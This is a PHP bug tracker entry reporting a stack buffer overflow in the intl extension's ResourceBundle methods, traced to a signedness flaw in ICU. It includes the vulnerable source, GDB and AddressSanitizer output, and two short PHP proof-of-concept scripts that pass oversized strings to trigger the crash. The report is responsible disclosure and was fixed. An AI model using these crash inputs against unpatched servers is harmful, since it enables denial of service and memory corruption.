php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #73218 stack-buffer-overflow through "ResourceBundle" methods
Submitted: 2016-10-01 17:56 UTC Modified: 2017-02-13 01:11 UTC
From: fernando at null-life dot com Assigned: stas (profile)
Status: Closed Package: intl (PECL)
PHP Version: 5.6.26 OS: *
Private report: No CVE-ID: None
View Add Comment Developer Edit
Anyone can comment on a bug. Have a simpler test case? Does it work for you on a different platform? Let us know!
Just going to say 'Me too!'? Don't clutter the database with that please !
Your email address:
MUST BE VALID
Solve the problem:
11 - 1 = ?
Subscribe to this entry?

 
 [2016-10-01 17:56 UTC] fernando at null-life dot com
Description:
------------
ResourceBundle::create and ResourceBundle::getLocales  methods (and their respective functions) are vulnerables to stack buffer overflow when bundlename parameter length is equal or close to 0x7fffffff, due to a type confusion in CharString::ensureCapacity at libicu.

PHP could mitigate this issue by checking that the bundlename parameter is not bigger than PHP_MAXPATHLEN constant before calling libicu.

----------

Source code:
https://github.com/php/php-src/blob/master/ext/intl/resourcebundle/resourcebundle_class.c#L316

PHP_FUNCTION( resourcebundle_locales )
{
	char * bundlename;
	size_t    bundlename_len = 0;
	const char * entry;
	int entry_len;
	UEnumeration *icuenum;
	UErrorCode   icuerror = U_ZERO_ERROR;

	intl_errors_reset( NULL );

	if( zend_parse_parameters(ZEND_NUM_ARGS(), "s", &bundlename, &bundlename_len ) == FAILURE )
	{
		intl_error_set(NULL, U_ILLEGAL_ARGUMENT_ERROR,
			"resourcebundle_locales: unable to parse input params", 0);
		RETURN_FALSE;
	}

	if(bundlename_len == 0) {
		// fetch default locales list
		bundlename = NULL;
	}
        
	icuenum = ures_openAvailableLocales( bundlename, &icuerror );   // bundlename size too long
	INTL_CHECK_STATUS(icuerror, "Cannot fetch locales list");

	uenum_reset( icuenum, &icuerror );
	INTL_CHECK_STATUS(icuerror, "Cannot iterate locales list");

	array_init( return_value );
	while ((entry = uenum_next( icuenum, &entry_len, &icuerror ))) {
		add_next_index_stringl( return_value, (char *) entry, entry_len);
	}
	uenum_close( icuenum );
}

...

https://github.com/php/php-src/blob/master/ext/intl/resourcebundle/resourcebundle_class.c#L76

static int resourcebundle_ctor(INTERNAL_FUNCTION_PARAMETERS, zend_bool is_constructor)
{
	const char *bundlename;
	size_t		bundlename_len = 0;
	const char *locale;
	size_t		locale_len = 0;
	zend_bool	fallback = 1;
	int         zpp_flags = is_constructor ? ZEND_PARSE_PARAMS_THROW : 0;

	zval                  *object = return_value;
	ResourceBundle_object *rb = Z_INTL_RESOURCEBUNDLE_P( object );

	intl_error_reset( NULL );

	if( zend_parse_parameters_ex( zpp_flags, ZEND_NUM_ARGS(), "s!s!|b",
		&locale, &locale_len, &bundlename, &bundlename_len, &fallback ) == FAILURE )
	{
		intl_error_set( NULL, U_ILLEGAL_ARGUMENT_ERROR,
			"resourcebundle_ctor: unable to parse input parameters", 0 );
		return FAILURE;
	}

	INTL_CHECK_LOCALE_LEN_OR_FAILURE(locale_len);

	if (locale == NULL) {
		locale = intl_locale_get_default();
	}

	if (fallback) {
		rb->me = ures_open(bundlename, locale, &INTL_DATA_ERROR_CODE(rb));  // bundlename size too big
	} else {
		rb->me = ures_openDirect(bundlename, locale, &INTL_DATA_ERROR_CODE(rb));
	}
...



GDB output:

LD_LIBRARY_PATH=/home/operac/icu58/lib USE_ZEND_ALLOC=0 ASAN_OPTIONS=detect_leaks=0 gdb -q --args  /home/operac/build4/bin/php -dextension=/home/operac/build4/lib/php/20151012-debug/intl.so -n poc.php
No symbol table is loaded.  Use the "file" command.
Breakpoint 1 (__asan_report_error) pending.
Reading symbols from /home/operac/build4/bin/php...done.
gdb-peda$ b charstr.cpp:87
No source file named charstr.cpp.
Breakpoint 2 (charstr.cpp:87) pending.
gdb-peda$ b charstr.cpp:135
No source file named charstr.cpp.
Breakpoint 3 (charstr.cpp:135) pending.
gdb-peda$ r
Starting program: /home/operac/build4/bin/php -dextension=/home/operac/build4/lib/php/20151012-debug/intl.so -n poc.php
...
Breakpoint 3, icu::CharString::ensureCapacity (this=0x7fffffff9598, capacity=0x80000000, desiredCapacityHint=0x0, errorCode=@0x7fffffff9e90: U_ZERO_ERROR) at charstr.cpp:135
135         if(capacity>buffer.getCapacity()) {
gdb-peda$ p/d capacity
$1 = -2147483648
gdb-peda$ p/d buffer.getCapacity()
$2 = 40
gdb-peda$ p capacity>buffer.getCapacity()
$3 = 0x0                // !! false
gdb-peda$ c
Continuing.
...
Breakpoint 2, icu::CharString::append (this=0x7fffffff9598, s=0x7ffeec3f9800 '/' <repeats 200 times>..., sLength=0x7fffffff, errorCode=@0x7fffffff9e90: U_ZERO_ERROR) at charstr.cpp:87
87                  uprv_memcpy(buffer.getAlias()+len, s, sLength);
gdb-peda$ p sLength
$4 = 0x7fffffff                    // !! buffer overflow


Test script:
---------------
poc.php:

<?php

ini_set('memory_limit', -1);

$v1="hi";
$v2=str_repeat("/", 0xffffffff/2);
resourcebundle_create($v1,$v2);


------------------------------------------------
poc2.php:

<?php

ini_set('memory_limit', -1);

$v1=str_repeat("a", 0xffffffff/2);
ResourceBundle::getLocales($v1);

Expected result:
----------------
No crash

Actual result:
--------------
ASan outputs:

LD_LIBRARY_PATH=/home/operac/icu58/lib USE_ZEND_ALLOC=0 ASAN_OPTIONS=detect_leaks=0 /home/operac/build4/bin/php -dextension=/home/operac/build4/lib/php/20151012-debug/intl.so -n 

poc.php:

==26416==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffcdb544ba0 at pc 0x7f2017fbf904 bp 0x7ffcdb544830 sp 0x7ffcdb543fd8
WRITE of size 2147483647 at 0x7ffcdb544ba0 thread T0
    #0 0x7f2017fbf903 in __asan_memcpy (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x8c903)
    #1 0x7f200f3cf299 in icu::CharString::append(char const*, int, UErrorCode&) /home/operac/release-58-rc/source/common/charstr.cpp:87
    #2 0x7f200f3d179e in icu::UDataPathIterator::UDataPathIterator(char const*, char const*, char const*, char const*, signed char, UErrorCode*) /home/operac/release-58-rc/source/common/udata.cpp:465
    #3 0x7f200f3d317b in doLoadFromIndividualFiles /home/operac/release-58-rc/source/common/udata.cpp:973
    #4 0x7f200f3d43d9 in doOpenChoice /home/operac/release-58-rc/source/common/udata.cpp:1298
    #5 0x7f200f3d4b82 in udata_openChoice /home/operac/release-58-rc/source/common/udata.cpp:1385
    #6 0x7f200f48f3d6 in res_load /home/operac/release-58-rc/source/common/uresdata.cpp:265
    #7 0x7f200f47f544 in init_entry /home/operac/release-58-rc/source/common/uresbund.cpp:368
    #8 0x7f200f4801cd in findFirstExisting /home/operac/release-58-rc/source/common/uresbund.cpp:461
    #9 0x7f200f481350 in entryOpen /home/operac/release-58-rc/source/common/uresbund.cpp:643
    #10 0x7f200f48a833 in ures_openWithType /home/operac/release-58-rc/source/common/uresbund.cpp:2212
    #11 0x7f200f48adad in ures_open /home/operac/release-58-rc/source/common/uresbund.cpp:2253
    #12 0x7f2010216944 in resourcebundle_ctor /home/operac/build4/php-src/ext/intl/resourcebundle/resourcebundle_class.c:105
    #13 0x7f2010216944 in zif_resourcebundle_create /home/operac/build4/php-src/ext/intl/resourcebundle/resourcebundle_class.c:162
    #14 0x1d8c586 in ZEND_DO_ICALL_SPEC_HANDLER /home/operac/build4/php-src/Zend/zend_vm_execute.h:586
    #15 0x1b9ff15 in execute_ex /home/operac/build4/php-src/Zend/zend_vm_execute.h:414
    #16 0x1e4e7a8 in zend_execute /home/operac/build4/php-src/Zend/zend_vm_execute.h:458
    #17 0x199ce7c in zend_execute_scripts /home/operac/build4/php-src/Zend/zend.c:1427
    #18 0x170fda7 in php_execute_script /home/operac/build4/php-src/main/main.c:2494
    #19 0x1e56a32 in do_cli /home/operac/build4/php-src/sapi/cli/php_cli.c:974
    #20 0x46e424 in main /home/operac/build4/php-src/sapi/cli/php_cli.c:1344
    #21 0x7f2015a1882f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #22 0x46eaf8 in _start (/home/operac/build4/bin/php+0x46eaf8)

Address 0x7ffcdb544ba0 is located in stack of thread T0 at offset 368 in frame
    #0 0x7f200f3d304a in doLoadFromIndividualFiles /home/operac/release-58-rc/source/common/udata.cpp:966

  This frame has 2 object(s):
    [32, 88) 'dataMemory'
    [128, 368) 'iter' <== Memory access at offset 368 overflows this variable
...

LD_LIBRARY_PATH=/home/operac/icu58/lib USE_ZEND_ALLOC=0 ASAN_OPTIONS=detect_leaks=0 /home/operac/build4/bin/php -dextension=/home/operac/build4/lib/php/20151012-debug/intl.so -n poc2.php



==14531==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffe47326a20 at pc 0x7f5ac4990904 bp 0x7ffe473266e0 sp 0x7ffe47325e88
WRITE of size 2147483647 at 0x7ffe47326a20 thread T0
    #0 0x7f5ac4990903 in __asan_memcpy (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x8c903)
    #1 0x7f5abbda0299 in icu::CharString::append(char const*, int, UErrorCode&) /home/operac/release-58-rc/source/common/charstr.cpp:87
    #2 0x7f5abbd9c993 in icu::CharString::append(icu::StringPiece, UErrorCode&) /home/operac/release-58-rc/source/common/charstr.h:82
    #3 0x7f5abbda4d8b in doOpenChoice /home/operac/release-58-rc/source/common/udata.cpp:1210
    #4 0x7f5abbda5b82 in udata_openChoice /home/operac/release-58-rc/source/common/udata.cpp:1385
    #5 0x7f5abbe603d6 in res_load /home/operac/release-58-rc/source/common/uresdata.cpp:265
    #6 0x7f5abbe50544 in init_entry /home/operac/release-58-rc/source/common/uresbund.cpp:368
    #7 0x7f5abbe52cff in entryOpenDirect /home/operac/release-58-rc/source/common/uresbund.cpp:745
    #8 0x7f5abbe5b85c in ures_openWithType /home/operac/release-58-rc/source/common/uresbund.cpp:2214
    #9 0x7f5abbe5be1b in ures_openDirect /home/operac/release-58-rc/source/common/uresbund.cpp:2267
    #10 0x7f5abbe5c927 in ures_openAvailableLocales /home/operac/release-58-rc/source/common/uresbund.cpp:2475
    #11 0x7f5abcbe4614 in zif_resourcebundle_locales /home/operac/build4/php-src/ext/intl/resourcebundle/resourcebundle_class.c:339
    #12 0x1d74293 in ZEND_DO_FCALL_SPEC_HANDLER /home/operac/build4/php-src/Zend/zend_vm_execute.h:842
    #13 0x1b9ff15 in execute_ex /home/operac/build4/php-src/Zend/zend_vm_execute.h:414
    #14 0x1e4e7a8 in zend_execute /home/operac/build4/php-src/Zend/zend_vm_execute.h:458
    #15 0x199ce7c in zend_execute_scripts /home/operac/build4/php-src/Zend/zend.c:1427
    #16 0x170fda7 in php_execute_script /home/operac/build4/php-src/main/main.c:2494
    #17 0x1e56a32 in do_cli /home/operac/build4/php-src/sapi/cli/php_cli.c:974
    #18 0x46e424 in main /home/operac/build4/php-src/sapi/cli/php_cli.c:1344
    #19 0x7f5ac23e982f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #20 0x46eaf8 in _start (/home/operac/build4/bin/php+0x46eaf8)

Address 0x7ffe47326a20 is located in stack of thread T0 at offset 352 in frame
    #0 0x7f5abbda4901 in doOpenChoice /home/operac/release-58-rc/source/common/udata.cpp:1128

  This frame has 5 object(s):
    [32, 36) 'subErrorCode'
    [96, 160) 'tocEntryName'
    [192, 256) 'tocEntryPath'
    [288, 352) 'pkgName'
    [384, 448) 'treeName' <== Memory access at offset 352 partially underflows this variable

----------------------------------------------------------------------------
----------------------------------------------------------------------------
----------------------------------------------------------------------------

Esto para libicu:

Type confusion at CharString::ensureCapacity 

CharString::ensureCapacity is vulnerable to type confusion, which may cause finally stack buffer overflow.
We think that "capacity" parameter should be defined as unsigned or size_t.

Source code:
release-58-rc/source/common/charstr.cpp:87

UBool CharString::ensureCapacity(int32_t capacity,
                                 int32_t desiredCapacityHint,
                                 UErrorCode &errorCode) {
    if(U_FAILURE(errorCode)) {
        return FALSE;
    }
    if(capacity>buffer.getCapacity()) {  // When capacity is negative, this validation return false
        if(desiredCapacityHint==0) {
            desiredCapacityHint=capacity+buffer.getCapacity();
        }
        if( (desiredCapacityHint<=capacity || buffer.resize(desiredCapacityHint, len+1)==NULL) &&
            buffer.resize(capacity, len+1)==NULL
        ) {
            errorCode=U_MEMORY_ALLOCATION_ERROR;
            return FALSE;
        }
    }
    return TRUE;
}

PoC through PHP bindings (currently we have reported to PHP too, because they can also mitigate the problem)

<?php

ini_set('memory_limit', -1);

$v1="hi";
$v2=str_repeat("/", 0xffffffff/2);
resourcebundle_create($v1,$v2);

ASan output:

==7366==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffe88c3b660 at pc 0x7fa076c0d904 bp 0x7ffe88c3b2f0 sp 0x7ffe88c3aa98
WRITE of size 2147483647 at 0x7ffe88c3b660 thread T0
    #0 0x7fa076c0d903 in __asan_memcpy (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x8c903)
    #1 0x7fa06e01d299 in icu::CharString::append(char const*, int, UErrorCode&) /home/operac/release-58-rc/source/common/charstr.cpp:87
    #2 0x7fa06e01f79e in icu::UDataPathIterator::UDataPathIterator(char const*, char const*, char const*, char const*, signed char, UErrorCode*) /home/operac/release-58-rc/source/common/udata.cpp:465
    #3 0x7fa06e02117b in doLoadFromIndividualFiles /home/operac/release-58-rc/source/common/udata.cpp:973
    #4 0x7fa06e0223d9 in doOpenChoice /home/operac/release-58-rc/source/common/udata.cpp:1298
    #5 0x7fa06e022b82 in udata_openChoice /home/operac/release-58-rc/source/common/udata.cpp:1385
    #6 0x7fa06e0dd3d6 in res_load /home/operac/release-58-rc/source/common/uresdata.cpp:265
    #7 0x7fa06e0cd544 in init_entry /home/operac/release-58-rc/source/common/uresbund.cpp:368
    #8 0x7fa06e0ce1cd in findFirstExisting /home/operac/release-58-rc/source/common/uresbund.cpp:461
    #9 0x7fa06e0cf350 in entryOpen /home/operac/release-58-rc/source/common/uresbund.cpp:643
    #10 0x7fa06e0d8833 in ures_openWithType /home/operac/release-58-rc/source/common/uresbund.cpp:2212
    #11 0x7fa06e0d8dad in ures_open /home/operac/release-58-rc/source/common/uresbund.cpp:2253
    #12 0x7fa06ee64944 in resourcebundle_ctor /home/operac/build4/php-src/ext/intl/resourcebundle/resourcebundle_class.c:105
    #13 0x7fa06ee64944 in zif_resourcebundle_create /home/operac/build4/php-src/ext/intl/resourcebundle/resourcebundle_class.c:162
    #14 0x1d8c586 in ZEND_DO_ICALL_SPEC_HANDLER /home/operac/build4/php-src/Zend/zend_vm_execute.h:586
    #15 0x1b9ff15 in execute_ex /home/operac/build4/php-src/Zend/zend_vm_execute.h:414
    #16 0x1e4e7a8 in zend_execute /home/operac/build4/php-src/Zend/zend_vm_execute.h:458
    #17 0x199ce7c in zend_execute_scripts /home/operac/build4/php-src/Zend/zend.c:1427
    #18 0x170fda7 in php_execute_script /home/operac/build4/php-src/main/main.c:2494
    #19 0x1e56a32 in do_cli /home/operac/build4/php-src/sapi/cli/php_cli.c:974
    #20 0x46e424 in main /home/operac/build4/php-src/sapi/cli/php_cli.c:1344
    #21 0x7fa07466682f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #22 0x46eaf8 in _start (/home/operac/build4/bin/php+0x46eaf8)

Address 0x7ffe88c3b660 is located in stack of thread T0 at offset 368 in frame
    #0 0x7fa06e02104a in doLoadFromIndividualFiles /home/operac/release-58-rc/source/common/udata.cpp:966

  This frame has 2 object(s):
    [32, 88) 'dataMemory'
    [128, 368) 'iter' <== Memory access at offset 368 overflows this variable

Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-10-02 20:37 UTC] stas@php.net
I would recommend reporting this issue directly to ICU (http://bugs.icu-project.org/trac/) since this is an ICU issue, not a PHP issue.
 [2016-10-05 05:41 UTC] stas@php.net
-PHP Version: 7.0.11 +PHP Version: 5.6.26 -Assigned To: +Assigned To: stas
 [2016-10-05 05:41 UTC] stas@php.net
The fix is in security repo as d946d102936525bc7dcd01f3827d0a6e0bb971b0 and in https://gist.github.com/2dc768478ae23eb898e6534fbae5b687

please verify
 [2016-10-11 23:49 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2017-02-13 01:11 UTC] stas@php.net
-Type: Security +Type: Bug
 
PHP Copyright © 2001-2017 The PHP Group
All rights reserved.
Last updated: Sun Nov 19 01:31:42 2017 UTC